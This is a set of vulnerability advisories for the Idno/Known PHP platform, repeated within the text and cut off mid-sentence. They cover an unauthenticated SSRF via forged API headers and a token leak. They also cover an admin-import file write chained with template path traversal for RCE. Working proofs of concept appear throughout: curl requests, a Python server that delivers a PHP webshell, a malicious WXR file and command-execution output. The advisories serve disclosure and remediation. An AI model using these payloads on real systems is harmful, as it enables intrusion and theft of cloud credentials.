CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Known v1.3.1 was discovered to contain an Insecure Direct Object Reference (IDOR).

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Known v1.3.1 was discovered to allow attackers to perform an account takeover via a host header injection attack.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

A cross-site scripting (XSS) vulnerability in Known v1.3.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Your Name text field.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

An issue in the isSVG() function of Known v1.3.1 allows attackers to execute arbitrary code via a crafted SVG file.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
$results['rendered'] .= $t->__(['user' => $user])->draw($template);

The draw() method in Idno/Core/Bonita/Templates.php applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:

function draw($templateName, $returnBlank = true)
{
    $templateName = preg_replace('/^_[A-Z0-9\/]+/i', '', $templateName);

This regex does not strip ../ and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:

$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';
if (file_exists($path)) {
    $fn = (function ($path, $vars, $t) {
        foreach ($vars as $k => $v) { ${$k} = $v; }
        ob_start();
        include $path;
        return ob_get_clean();
    });
    return $fn($path, $this->vars, $this);
}

Because $templateName is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as ../../../../../../tmp/{filename} to include any file reachable by the PHP process that has a .tpl.php extension.

Template Type Behaviour

The new DefaultTemplate() constructor calls detectTemplateType(), which calls detectDevice() based on the User-Agent header. For standard desktop browsers this returns 'default'. The _t query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed $t instance — and therefore has no effect on the include path used here. The template type component of the path is always 'default' for this endpoint under normal conditions.

The full resolved include path for a desktop browser with basepath = /var/www/html/idno is therefore:

/var/www/html/idno/templates/default/{template}.tpl.php

Supplying template=../../../../../../tmp/{filename} resolves to:

/tmp/{filename}.tpl.php

Because PHP's $_GET superglobal is accessible from all scopes including inside included files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.

Chained Attack Flow

1. Attacker controls a web server serving a PHP webshell file at a URL containing wordpress.com in the path, with filename ending in .tpl.php.

2. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.

3. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.

4. importImagesFromBodyHTML is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.

5. file_put_contents writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.

6. While the connection is held open, any authenticated user sends:

   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
   

7. draw() resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.

8. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.

9. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

Proof of Concept

1. Create a WXR file with the following content

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>

2. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.

import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()

5. Import WXR from http://idno-address/admin/import/ using the wordpress option.

6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.

7. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content

<?php system($_GET[0]); ?>

8. Make this request as any authenticated user

curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"

9. Observe that the respone will have the command executed in the rendered field

{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

Impact

• Confidentiality: Full read access to files accessible by the web server user
• Integrity: Arbitrary command execution as the web server user
• Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

Root Causes

| Location | Issue | |---|---| | Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction | | Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path | | Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation | | Pages/Search/User.php | template parameter passed to draw() without sanitization | | Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

Recommended Fixes

1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.

2. Validate the extension of files written by importImagesFromBodyHTML against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.

3. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.

4. Use tempnam() for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Summary

A logic error in the API authentication flow causes the CSRF protection on the URL unfurl service endpoint to be trivially bypassed by any unauthenticated remote attacker. Combined with the absence of a login requirement on the endpoint itself, this allows an attacker to force the server to make arbitrary outbound HTTP requests to any host, including internal network addresses and cloud instance metadata services, and retrieve the response content.

Component: Idno/Pages/Service/Web/UrlUnfurl.php, Idno/Core/Session.php, Idno/Core/Actions.php
Vulnerability Class: Server-Side Request Forgery (SSRF) Authentication Required: None
CVSSv4 Base Score: 9.2 (High) - AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N Affected Endpoint: GET /service/web/unfurl?url=<attacker-controlled-url> Handled by Idno\Pages\Service\Web\UrlUnfurl::getContent(). Affected Versions: <= 1.6.3

cat version.idno
version = '1.6.3'
build = 2026021301

Code Flow

Step 1 — Endpoint access control

UrlUnfurl::getContent() (UrlUnfurl.php:36) enforces two access controls:
$this->xhrGatekeeper(); $this->tokenGatekeeper();

Notably, the original authentication check ($this->gatekeeper()) was explicitly removed with the following comment left in the source:

//$this->gatekeeper(); // Gatekeeper to ensure this service isn't abused by third parties
// UPDATE: Needs to be accessible to logged out users, TODO, find a way to prevent abuse

This leaves the endpoint accessible to unauthenticated users, with only the two remaining gatekeepers as a barrier.

Step 2 — Bypassing xhrGatekeeper()

Page::xhrGatekeeper() (Page.php:876) checks whether the request was made with the X-Requested-With: XMLHttpRequest header:

function xhrGatekeeper()
{
    if (!$this->xhr) {
        $this->deniedContent();
    }
}

This check is trivially bypassed by any HTTP client capable of setting custom headers.

Step 3 — Bypassing tokenGatekeeper() via premature API flag

Page::tokenGatekeeper() (Page.php:887) calls Actions::validateToken():

function tokenGatekeeper()
{
    $url = $this->currentUrl();
    $bits = explode('?', $url);
    $url = $bits[0];
    if (!\Idno\Core\Idno::site()->actions()->validateToken($url, false)) {
        $this->deniedContent();
    }
}

Actions::validateToken() (Actions.php:23) short-circuits entirely when isAPIRequest() returns true:

public static function validateToken($action = '', $haltExecutionOnBadRequest = true)
{
    if (Idno::site()->session()->isAPIRequest()) {
        return true;
    }
    return parent::validateToken($action, $haltExecutionOnBadRequest);
}

isAPIRequest() reads the is_api_request flag from the session:

function isAPIRequest()
{
    if (!empty($_SESSION['is_api_request'])) {
        return true;
    }
    return false;
}

The flag is set in Session::tryAuthUser() (Session.php:488), which runs early in the request lifecycle. The critical defect is here:

$apiUsername  = $_SERVER['HTTP_X_IDNO_USERNAME']  ?? $_SERVER['HTTP_X_KNOWN_USERNAME']  ?? null;
$apiSignature = $_SERVER['HTTP_X_IDNO_SIGNATURE'] ?? $_SERVER['HTTP_X_KNOWN_SIGNATURE'] ?? null;
if (!$return && !empty($apiUsername) && !empty($apiSignature)) {
    $this->setIsAPIRequest(true);   // ← flag set here, before any credential check
    $user = \Idno\Entities\User::getByHandle($apiUsername);
    if (!empty($user)) {
        $compare_hmac = base64_encode(hash_hmac('sha256', $_SERVER['REQUEST_URI'], $key, true));
        if ($hmac == $compare_hmac) {       // ← HMAC verified here, too late
            $return = $this->refreshSessionUser($user);
        }
    }
}

setIsAPIRequest(true) is called unconditionally as soon as both X-IDNO-USERNAME and X-IDNO-SIGNATURE headers are present, regardless of whether the supplied credentials are valid. The HMAC verification that follows is therefore irrelevant — by the time tokenGatekeeper() calls validateToken(), the API flag is already set and the token check returns true immediately.

An attacker supplying any non-empty values for these two headers — real or fabricated — bypasses CSRF protection entirely.

Step 4 — The unfurl fetch

With both gatekeepers bypassed, execution reaches UnfurledUrl::unfurl() (UnfurledUrl.php:53):

public function unfurl($url)
{
    $url = trim($url);
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return false;
    }
    $contents = \Idno\Core\Webservice::file_get_contents($url);
    ...
    $this->data = $unfurled;
    $this->source_url = $url;
    return true;
}

FILTER_VALIDATE_URL accepts any valid URL including http://localhost/, http://169.254.169.254/, and http://10.0.0.1/. There is no allowlist, blocklist, or restriction on private/loopback address ranges. The fetched content is parsed for OpenGraph metadata and mf2 microformats, then returned to the caller in a JSON response, giving the attacker a full read of the response body from the internal target.

Proof of Concept

Step 1: Run a webserver on the server running Idno to emulate an internal service. Ensure this server is not accessible localhost.

python -m http.server --bind 127.0.0.1 9001
Serving HTTP on 127.0.0.1 port 9001 (http://127.0.0.1:9001/) ...

Step 2: Verify that you cannot reach this server from a different system

curl http://rpi:9001
curl: (7) Failed to connect to rpi port 9001 after 26 ms: Couldn't connect to server

Step 3: Make a request to the unfurl URL with required headers and observe that you can reach the internal service.

curl -s "http://rpi:9090/service/web/unfurl?url=http://localhost:9001/test.html" \
    -H "X-Requested-With: XMLHttpRequest" \
    -H "X-IDNO-USERNAME: x" \
    -H "X-IDNO-SIGNATURE: x"
{
    "title": "Page Title",
    "mf2": {
        "items": [],
        "rels": [],
        "rel-urls": []
    },
    "id": null,
    "rendered": "<div class=\"row unfurled-url\" id=\"unfurled-url-\" data-url=\"http:\/\/localhost:9001\/test.html\">\n    <div class=\"basics\">\n                    \n            <div class=\"text\">\n                <h3><a href=\"http:\/\/localhost:9001\/test.html\" target=\"_blank\">Page Title<\/a><\/h3>\n                \n                <!--<div class=\"byline\"><a href=\"http:\/\/localhost:9001\/test.html\">localhost<\/a><\/div>-->\n            <\/div>\n    <\/div>\n    \n    <\/div>"
}

https://github.com/user-attachments/assets/6b8c7728-94e3-4b5e-ba7f-c0908e75d08c

Impact

Any unauthenticated remote attacker can force the server to issue HTTP requests to arbitrary destinations and retrieve response content. Practical attack scenarios include:

• Cloud instance metadata exfiltration (AWS, GCP, Azure): The SSRF can reach the instance metadata service. On AWS with IMDSv1 (the default prior to late 2019 and still common on older instances), this exposes temporary IAM credentials, which can be used to gain full access to the associated cloud account. On GCP and Azure equivalent endpoints expose OAuth tokens and subscription details.

• Internal network reconnaissance: The attacker can probe internal hosts and ports by observing response content and timing differences. Open ports responding to HTTP return content; ports with no HTTP listener produce an error or timeout. This allows mapping of internal services (databases, caches, admin panels, other web applications) that are not exposed to the public internet.

• Access to localhost-restricted services: Web applications and administration interfaces commonly restrict access to 127.0.0.1. The SSRF bypasses this restriction by routing requests through the server itself. This includes Idno's own admin interface if it is firewall-restricted, as well as co-located services such as database administration tools, monitoring dashboards, and internal APIs.

• Interaction with internal services Services such as Redis (default: no authentication), Memcached, and internal HTTP APIs may be reachable and manipulable via crafted URLs, potentially enabling cache poisoning, data exfiltration, or triggering state-changing operations on internal systems.

Remediation

Move setIsAPIRequest(true) to after successful HMAC verification:

if ($hmac == $compare_hmac) {
    $this->setIsAPIRequest(true);   // only set after credentials are verified
    $return = $this->refreshSessionUser($user);
}

Defence in depth — block private address ranges in unfurl(): The unfurl function should reject requests to RFC 1918 addresses, loopback, and link-local ranges:

$host = parse_url($url, PHP_URL_HOST);
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    // allowed
} else {
    return false; // block private/reserved ranges
}

Note: An attempt was made to email the address provided in the security page but the address does not exist.

Your message wasn't delivered to security@idno.co because the address couldn't be found, or is unable to receive mail.

Summary

A Critical Broken Authentication vulnerability exists in Known 1.6.2. The application leaks the password reset token within a hidden HTML input field on the password reset page. This allows any unauthenticated attacker to retrieve the reset token for any user by simply querying the user's email, leading to full Account Takeover (ATO) without requiring access to the victim's email inbox.

Details

The vulnerability occurs within the password reset flow. When a reset is requested, the application generates a verification code. However, the subsequent reset page (/account/password/reset/) incorrectly reflects this code back to the client in the HTML source code.

Specifically, the sensitive token is embedded in:

Because this page is accessible via a GET request using the victim's email as a parameter, an attacker can programmatically extract the token.

PoC

1. The attacker asks for a password reset for the victim

2. The attacker makes the following curl command on the terminal using the victim's email, and is able to get the code that was sent as an hidden field in the HTML.

3. With this code, the attacker is able to use it in order to reset the victim password.

4. The attacker is able to login with the new password.

Impact

• An attacker can compromise any account on the platform, including administrative accounts, resulting in total loss of Confidentiality, Integrity, and Availability.

Known v1.3.1 was discovered to contain an Insecure Direct Object Reference (IDOR).

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Known v1.3.1 was discovered to allow attackers to perform an account takeover via a host header injection attack.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

A cross-site scripting (XSS) vulnerability in Known v1.3.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Your Name text field.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

An issue in the isSVG() function of Known v1.3.1 allows attackers to execute arbitrary code via a crafted SVG file.

The researcher report indicates that versions 1.3.1 and prior are vulnerable. Version 1.2.2 is the last version tagged on GitHub and in Packagist, and development related to the 1.3.x branch is currently on the dev branch of the idno/known repository.

Affected Versions: Tested on current dev branch (build fingerprint 505[...]7bd86)
CVSS v4 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Privileges Required: Web application admin account (for file write), any authenticated user (for RCE trigger)

Summary

Two separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.

Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)

Location

Idno/Core/Migration.php — importImagesFromBodyHTML()

Required Privilege

Web application admin (any user with the admin flag set in the database, accessible via the Idno admin UI).

Description

When a web application admin imports a WordPress eXtended RSS (WXR) XML file via POST /admin/import/, the application processes <img> tags in post body content and attempts to re-host images locally. The functionimportImagesFromBodyHTML() fetches each image URL using fopen() and writes the response body to a temp file whose name is derived from the URL.

The filename is constructed as:

$name = md5($src);
$newname = $dir . $name . basename($src);

Where $src is the full image URL from the XML and basename($src) is the filename component of that URL. Because basename() is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make basename() return any filename — including one ending in .tpl.php.

The URL filter is:

if (substr_count($src, $src_url)) {

Where $src_url is the hardcoded string 'wordpress.com'. This check uses substr_count rather than comparing the URL's hostname, so it passes for any URL that contains the string wordpress.com anywhere — including in a path component such as http://attacker.com/wordpress.com/shell.tpl.php.

The file write itself is:

if (@file_put_contents($newname, fopen($src, 'r'))) {

fopen($src, 'r') opens the attacker URL as a stream. file_put_contents reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing file_put_contents to block while the file sits on disk with its full content. The file is only deleted after file_put_contents returns:

if ($file = File::createFromFile($newname, basename($src), $mime, true)) {
    $newsrc = ...;
    @unlink($newname);  // only runs after file_put_contents returns
}

By holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.

The import endpoint itself adds an additional timing buffer:

// Idno/Pages/Admin/Import.php
session_write_close();
$this->forward(...);      // HTTP response sent to browser here
ignore_user_abort(true);
sleep(10);                // 10 second delay before import runs
set_time_limit(0);
Migration::importWordPressXML($xml);

The browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.

The resulting file is written to PHP's temp directory (typically /tmp from the PHP process's perspective, which on systemd-managed Apache is a private mount at /tmp/systemd-private-{id}-apache2.service-{id}/tmp/). The filename is predictable: md5($full_url) . basename($url).

Prerequisites

• Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)
• allow_url_fopen must be enabled in PHP (required for fopen($url, 'r') on remote URLs — this is the PHP default)

Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)

Location

Idno/Pages/Search/User.php — getContent() Idno/Core/Bonita/Templates.php — draw()

Required Privilege

Any authenticated user (gatekeeper() only checks isLoggedIn()).

Description

The user search endpoint accepts a template GET parameter that is passed without sanitization to the template rendering engine:

// Idno/Pages/Search/User.php
$template = $this->getInput('template', 'forms/components/usersearch/user');
// ...
$t = new \Idno\Core\DefaultTemplate();
